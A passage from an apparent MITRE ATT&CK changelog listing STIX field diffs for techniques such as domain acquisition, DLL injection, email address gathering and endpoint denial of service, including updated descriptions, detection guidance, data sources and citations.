simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html', 'external_id': 'CAPEC-560'} | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may purchase domai | t | 1 | Adversaries may purchase domains that can be used during tar |
| > | ns that can be used during targeting. Domain names are the h | > | geting. Domain names are the human readable names used to re | ||
| > | uman readable names used to represent one or more IP address | > | present one or more IP addresses. They can be purchased or, | ||
| > | es. They can be purchased or, in some cases, acquired for fr | > | in some cases, acquired for free. Adversaries can use purch | ||
| > | ee. Adversaries can use purchased domains for a variety of | > | ased domains for a variety of purposes, including for [Phish | ||
| > | purposes, including for [Phishing](https://attack.mitre.org/ | > | ing](https://attack.mitre.org/techniques/T1566), [Drive-by C | ||
| > | techniques/T1566), [Drive-by Compromise](https://attack.mitr | > | ompromise](https://attack.mitre.org/techniques/T1189), and C | ||
| > | e.org/techniques/T1189), and Command and Control.(Citation: | > | ommand and Control.(Citation: CISA MSS Sep 2020) Adversaries | ||
| > | CISA MSS Sep 2020) Adversaries may choose domains that are s | > | may choose domains that are similar to legitimate domains, | ||
| > | imilar to legitimate domains, including through use of homog | > | including through use of homoglyphs or use of a different to | ||
| > | lyphs or use of a different top-level domain (TLD).(Citation | > | p-level domain (TLD).(Citation: FireEye APT28)(Citation: Pay | ||
| > | : FireEye APT28)(Citation: PaypalScam) Typosquatting may be | > | palScam) Typosquatting may be used to aid in delivery of pay | ||
| > | used to aid in delivery of payloads via [Drive-by Compromise | > | loads via [Drive-by Compromise](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1189). Adversaries ca | > | hniques/T1189). Adversaries can also use internationalized d | ||
| > | n also use internationalized domain names (IDNs) to create v | > | omain names (IDNs) to create visually similar lookalike doma | ||
| > | isually similar lookalike domains for use in operations.(Cit | > | ins for use in operations.(Citation: CISA IDN ST05-016) Dom | ||
| > | ation: CISA IDN ST05-016) Domain registrars each maintain a | > | ain registrars each maintain a publicly viewable database th | ||
| > | publicly viewable database that displays contact informatio | > | at displays contact information for every registered domain. | ||
| > | n for every registered domain. Private WHOIS services displa | > | Private WHOIS services display alternative information, suc | ||
| > | y alternative information, such as their own company data, r | > | h as their own company data, rather than the owner of the do | ||
| > | ather than the owner of the domain. Adversaries may use such | > | main. Adversaries may use such private WHOIS services to obs | ||
| > | private WHOIS services to obscure information about who own | > | cure information about who owns a purchased domain. Adversar | ||
| > | s a purchased domain. Adversaries may further interrupt effo | > | ies may further interrupt efforts to track their infrastruct | ||
| > | rts to track their infrastructure by using varied registrati | > | ure by using varied registration information and purchasing | ||
| > | on information and purchasing domains with different domain | > | domains with different domain registrars.(Citation: Mandiant | ||
| > | registrars.(Citation: Mandiant APT1) | > | APT1) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 20:25:29.310000+00:00 | 2021-10-16 17:09:26.334000+00:00 |
| description | Before compromising a victim, adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) | Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) |
| x_mitre_data_sources[0] | Domain registration | Domain Name: Active DNS |
| x_mitre_detection | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| x_mitre_data_sources | Domain Name: Passive DNS | |
| x_mitre_data_sources | Domain Name: Domain Registration |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr | t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr |
| > | ocesses in order to evade process-based defenses as well as | > | ocesses in order to evade process-based defenses as well as | ||
| > | possibly elevate privileges. DLL injection is a method of ex | > | possibly elevate privileges. DLL injection is a method of ex | ||
| > | ecuting arbitrary code in the address space of a separate li | > | ecuting arbitrary code in the address space of a separate li | ||
| > | ve process. DLL injection is commonly performed by writin | > | ve process. DLL injection is commonly performed by writin | ||
| > | g the path to a DLL in the virtual address space of the targ | > | g the path to a DLL in the virtual address space of the targ | ||
| > | et process before loading the DLL by invoking a new thread. | > | et process before loading the DLL by invoking a new thread. | ||
| > | The write can be performed with native Windows API calls suc | > | The write can be performed with native Windows API calls suc | ||
| > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | ||
| > | y</code>, then invoked with <code>CreateRemoteThread</code> | > | y</code>, then invoked with <code>CreateRemoteThread</code> | ||
| > | (which calls the <code>LoadLibrary</code> API responsible fo | > | (which calls the <code>LoadLibrary</code> API responsible fo | ||
| > | r loading the DLL). (Citation: Endgame Process Injection Jul | > | r loading the DLL). (Citation: Elastic Process Injection Jul | ||
| > | y 2017) Variations of this method such as reflective DLL i | > | y 2017) Variations of this method such as reflective DLL i | ||
| > | njection (writing a self-mapping DLL into a process) and mem | > | njection (writing a self-mapping DLL into a process) and mem | ||
| > | ory module (map DLL when writing into process) overcome the | > | ory module (map DLL when writing into process) overcome the | ||
| > | address relocation issue as well as the additional APIs to i | > | address relocation issue as well as the additional APIs to i | ||
| > | nvoke execution (since these methods load and execute the fi | > | nvoke execution (since these methods load and execute the fi | ||
| > | les in memory by manually preforming the function of <code>L | > | les in memory by manually preforming the function of <code>L | ||
| > | oadLibrary</code>).(Citation: Endgame HuntingNMemory June 20 | > | oadLibrary</code>).(Citation: Elastic HuntingNMemory June 20 | ||
| > | 17)(Citation: Endgame Process Injection July 2017) Running | > | 17)(Citation: Elastic Process Injection July 2017) Running | ||
| > | code in the context of another process may allow access to | > | code in the context of another process may allow access to | ||
| > | the process's memory, system/network resources, and possibly | > | the process's memory, system/network resources, and possibly | ||
| > | elevated privileges. Execution via DLL injection may also e | > | elevated privileges. Execution via DLL injection may also e | ||
| > | vade detection from security products since the execution is | > | vade detection from security products since the execution is | ||
| > | masked under a legitimate process. | > | masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:17:59.148000+00:00 | 2021-10-18 12:20:00.382000+00:00 |
| description | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Endgame HuntingNMemory June 2017)(Citation: Endgame Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| external_references[2]['source_name'] | Endgame HuntingNMemory June 2017 | Elastic HuntingNMemory June 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Access |
| x_mitre_data_sources[1] | DLL monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | File monitoring | Module: Module Load |
| x_mitre_data_sources[3] | API monitoring | Process: Process Modification |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of email addresses | t | 1 | Adversaries may attempt to get a listing of email addresses |
| > | and accounts. Adversaries may try to dump Exchange address l | > | and accounts. Adversaries may try to dump Exchange address l | ||
| > | ists such as global address lists (GALs).(Citation: Microsof | > | ists such as global address lists (GALs).(Citation: Microsof | ||
| > | t Exchange Address Lists) In on-premises Exchange and Excha | > | t Exchange Address Lists) In on-premises Exchange and Excha | ||
| > | nge Online, the<code>Get-GlobalAddressList</code> PowerShell | > | nge Online, the<code>Get-GlobalAddressList</code> PowerShell | ||
| > | cmdlet can be used to obtain email addresses and accounts f | > | cmdlet can be used to obtain email addresses and accounts f | ||
| > | rom a domain using an authenticated session.(Citation: Micro | > | rom a domain using an authenticated session.(Citation: Micro | ||
| > | soft getglobaladdresslist)(Citation: Black Hills Attacking E | > | soft getglobaladdresslist)(Citation: Black Hills Attacking E | ||
| > | xchange MailSniper, 2016) | > | xchange MailSniper, 2016) In Google Workspace, the GAL is s | ||
| > | hared with Microsoft Outlook users through the Google Worksp | ||||
| > | ace Sync for Microsoft Outlook (GWSMO) service. Additionally | ||||
| > | , the Google Workspace Directory allows for users to get a l | ||||
| > | isting of other users within the organization.(Citation: Goo | ||||
| > | gle Workspace Global Access List) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 15:27:58.933000+00:00 | 2021-03-31 13:10:46.302000+00:00 |
| description | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Workspace Global Access List', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://support.google.com/a/answer/166870?hl=en'} | |
| x_mitre_platforms | Google Workspace |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather email a | t | 1 | Adversaries may gather email addresses that can be used duri |
| > | ddresses that can be used during targeting. Even if internal | > | ng targeting. Even if internal instances exist, organization | ||
| > | instances exist, organizations may have public-facing email | > | s may have public-facing email infrastructure and addresses | ||
| > | infrastructure and addresses for employees. Adversaries ma | > | for employees. Adversaries may easily gather email addresse | ||
| > | y easily gather email addresses, since they may be readily a | > | s, since they may be readily available and exposed via onlin | ||
| > | vailable and exposed via online or other accessible data set | > | e or other accessible data sets (ex: [Social Media](https:// | ||
| > | s (ex: [Social Media](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1593/001) or [Search Victim-Own | ||
| > | 593/001) or [Search Victim-Owned Websites](https://attack.mi | > | ed Websites](https://attack.mitre.org/techniques/T1594)).(Ci | ||
| > | tre.org/techniques/T1594)).(Citation: HackersArise Email)(Ci | > | tation: HackersArise Email)(Citation: CNET Leaks) Email addr | ||
| > | tation: CNET Leaks) Gathering this information may reveal op | > | esses could also be enumerated via more active means (i.e. [ | ||
| > | portunities for other forms of reconnaissance (ex: [Search O | > | Active Scanning](https://attack.mitre.org/techniques/T1595)) | ||
| > | pen Websites/Domains](https://attack.mitre.org/techniques/T1 | > | , such as probing and analyzing responses from authenticatio | ||
| > | 593) or [Phishing for Information](https://attack.mitre.org/ | > | n services that may reveal valid usernames in a system.(Cita | ||
| > | techniques/T1598)), establishing operational resources (ex: | > | tion: GrimBlog UsernameEnum) Gathering this information may | ||
| > | [Email Accounts](https://attack.mitre.org/techniques/T1586/0 | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | 02)), and/or initial access (ex: [Phishing](https://attack.m | > | [Search Open Websites/Domains](https://attack.mitre.org/tec | ||
| > | itre.org/techniques/T1566)). | > | hniques/T1593) or [Phishing for Information](https://attack. | ||
| > | mitre.org/techniques/T1598)), establishing operational resou | ||||
| > | rces (ex: [Email Accounts](https://attack.mitre.org/techniqu | ||||
| > | es/T1586/002)), and/or initial access (ex: [Phishing](https: | ||||
| > | //attack.mitre.org/techniques/T1566) or [Brute Force](https: | ||||
| > | //attack.mitre.org/techniques/T1110) via [External Remote Se | ||||
| > | rvices](https://attack.mitre.org/techniques/T1133)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)'] | |
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:46:04.662000+00:00 | 2021-12-09 21:49:30.319000+00:00 |
| description | Before compromising a victim, adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GrimBlog UsernameEnum', 'description': 'GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.', 'url': 'https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform Endpoint Denial of Service (DoS) att | t | 1 | Adversaries may perform Endpoint Denial of Service (DoS) att |
| > | acks to degrade or block the availability of services to use | > | acks to degrade or block the availability of services to use | ||
| > | rs. Endpoint DoS can be performed by exhausting the system r | > | rs. Endpoint DoS can be performed by exhausting the system r | ||
| > | esources those services are hosted on or exploiting the syst | > | esources those services are hosted on or exploiting the syst | ||
| > | em to cause a persistent crash condition. Example services i | > | em to cause a persistent crash condition. Example services i | ||
| > | nclude websites, email services, DNS, and web-based applicat | > | nclude websites, email services, DNS, and web-based applicat | ||
| > | ions. Adversaries have been observed conducting DoS attacks | > | ions. Adversaries have been observed conducting DoS attacks | ||
| > | for political purposes(Citation: FireEye OpPoisonedHandover | > | for political purposes(Citation: FireEye OpPoisonedHandover | ||
| > | February 2016) and to support other malicious activities, in | > | February 2016) and to support other malicious activities, in | ||
| > | cluding distraction(Citation: FSISAC FraudNetDoS September 2 | > | cluding distraction(Citation: FSISAC FraudNetDoS September 2 | ||
| > | 012), hacktivism, and extortion.(Citation: Symantec DDoS Oct | > | 012), hacktivism, and extortion.(Citation: Symantec DDoS Oct | ||
| > | ober 2014) An Endpoint DoS denies the availability of a ser | > | ober 2014) An Endpoint DoS denies the availability of a ser | ||
| > | vice without saturating the network used to provide access t | > | vice without saturating the network used to provide access t | ||
| > | o the service. Adversaries can target various layers of the | > | o the service. Adversaries can target various layers of the | ||
| > | application stack that is hosted on the system used to provi | > | application stack that is hosted on the system used to provi | ||
| > | de the service. These layers include the Operating Systems ( | > | de the service. These layers include the Operating Systems ( | ||
| > | OS), server applications such as web servers, DNS servers, d | > | OS), server applications such as web servers, DNS servers, d | ||
| > | atabases, and the (typically web-based) applications that si | > | atabases, and the (typically web-based) applications that si | ||
| > | t on top of them. Attacking each layer requires different te | > | t on top of them. Attacking each layer requires different te | ||
| > | chniques that take advantage of bottlenecks that are unique | > | chniques that take advantage of bottlenecks that are unique | ||
| > | to the respective components. A DoS attack may be generated | > | to the respective components. A DoS attack may be generated | ||
| > | by a single system or multiple systems spread across the int | > | by a single system or multiple systems spread across the int | ||
| > | ernet, which is commonly referred to as a distributed DoS (D | > | ernet, which is commonly referred to as a distributed DoS (D | ||
| > | DoS). To perform DoS attacks against endpoint resources, se | > | DoS). To perform DoS attacks against endpoint resources, se | ||
| > | veral aspects apply to multiple methods, including IP addres | > | veral aspects apply to multiple methods, including IP addres | ||
| > | s spoofing and botnets. Adversaries may use the original IP | > | s spoofing and botnets. Adversaries may use the original IP | ||
| > | address of an attacking system, or spoof the source IP addr | > | address of an attacking system, or spoof the source IP addr | ||
| > | ess to make the attack traffic more difficult to trace back | > | ess to make the attack traffic more difficult to trace back | ||
| > | to the attacking system or to enable reflection. This can in | > | to the attacking system or to enable reflection. This can in | ||
| > | crease the difficulty defenders have in defending against th | > | crease the difficulty defenders have in defending against th | ||
| > | e attack by reducing or eliminating the effectiveness of fil | > | e attack by reducing or eliminating the effectiveness of fil | ||
| > | tering by the source address on network defense devices. Bo | > | tering by the source address on network defense devices. Bo | ||
| > | tnets are commonly used to conduct DDoS attacks against netw | > | tnets are commonly used to conduct DDoS attacks against netw | ||
| > | orks and services. Large botnets can generate a significant | > | orks and services. Large botnets can generate a significant | ||
| > | amount of traffic from systems spread across the global inte | > | amount of traffic from systems spread across the global inte | ||
| > | rnet. Adversaries may have the resources to build out and co | > | rnet. Adversaries may have the resources to build out and co | ||
| > | ntrol their own botnet infrastructure or may rent time on an | > | ntrol their own botnet infrastructure or may rent time on an | ||
| > | existing botnet to conduct an attack. In some of the worst | > | existing botnet to conduct an attack. In some of the worst | ||
| > | cases for DDoS, so many systems are used to generate request | > | cases for DDoS, so many systems are used to generate request | ||
| > | s that each one only needs to send out a small amount of tra | > | s that each one only needs to send out a small amount of tra | ||
| > | ffic to produce enough volume to exhaust the target's resour | > | ffic to produce enough volume to exhaust the target's resour | ||
| > | ces. In such circumstances, distinguishing DDoS traffic from | > | ces. In such circumstances, distinguishing DDoS traffic from | ||
| > | legitimate clients becomes exceedingly difficult. Botnets h | > | legitimate clients becomes exceedingly difficult. Botnets h | ||
| > | ave been used in some of the most high-profile DDoS attacks, | > | ave been used in some of the most high-profile DDoS attacks, | ||
| > | such as the 2012 series of incidents that targeted major US | > | such as the 2012 series of incidents that targeted major US | ||
| > | banks.(Citation: USNYAG IranianBotnet March 2016) In cases | > | banks.(Citation: USNYAG IranianBotnet March 2016) In cases | ||
| > | where traffic manipulation is used, there may be points in | > | where traffic manipulation is used, there may be points in | ||
| > | the the global network (such as high traffic gateway routers | > | the global network (such as high traffic gateway routers) wh | ||
| > | ) where packets can be altered and cause legitimate clients | > | ere packets can be altered and cause legitimate clients to e | ||
| > | to execute code that directs network packets toward a target | > | xecute code that directs network packets toward a target in | ||
| > | in high volume. This type of capability was previously used | > | high volume. This type of capability was previously used for | ||
| > | for the purposes of web censorship where client HTTP traffi | > | the purposes of web censorship where client HTTP traffic wa | ||
| > | c was modified to include a reference to JavaScript that gen | > | s modified to include a reference to JavaScript that generat | ||
| > | erated the DDoS code to overwhelm target web servers.(Citati | > | ed the DDoS code to overwhelm target web servers.(Citation: | ||
| > | on: ArsTechnica Great Firewall of China) For attacks attemp | > | ArsTechnica Great Firewall of China) For attacks attempting | ||
| > | ting to saturate the providing network, see [Network Denial | > | to saturate the providing network, see [Network Denial of S | ||
| > | of Service](https://attack.mitre.org/techniques/T1498). | > | ervice](https://attack.mitre.org/techniques/T1498). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
| external_references | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. | |
| external_references | Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019. | |
| external_references | Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019. | |
| external_references | CAPEC-227 | |
| external_references | CAPEC-131 | |
| external_references | CAPEC-130 | |
| external_references | CAPEC-125 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-227 | |
| external_references | CAPEC-131 | |
| external_references | CAPEC-130 | |
| external_references | CAPEC-125 | |
| external_references | Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019. | |
| external_references | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. | |
| external_references | Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019. | |
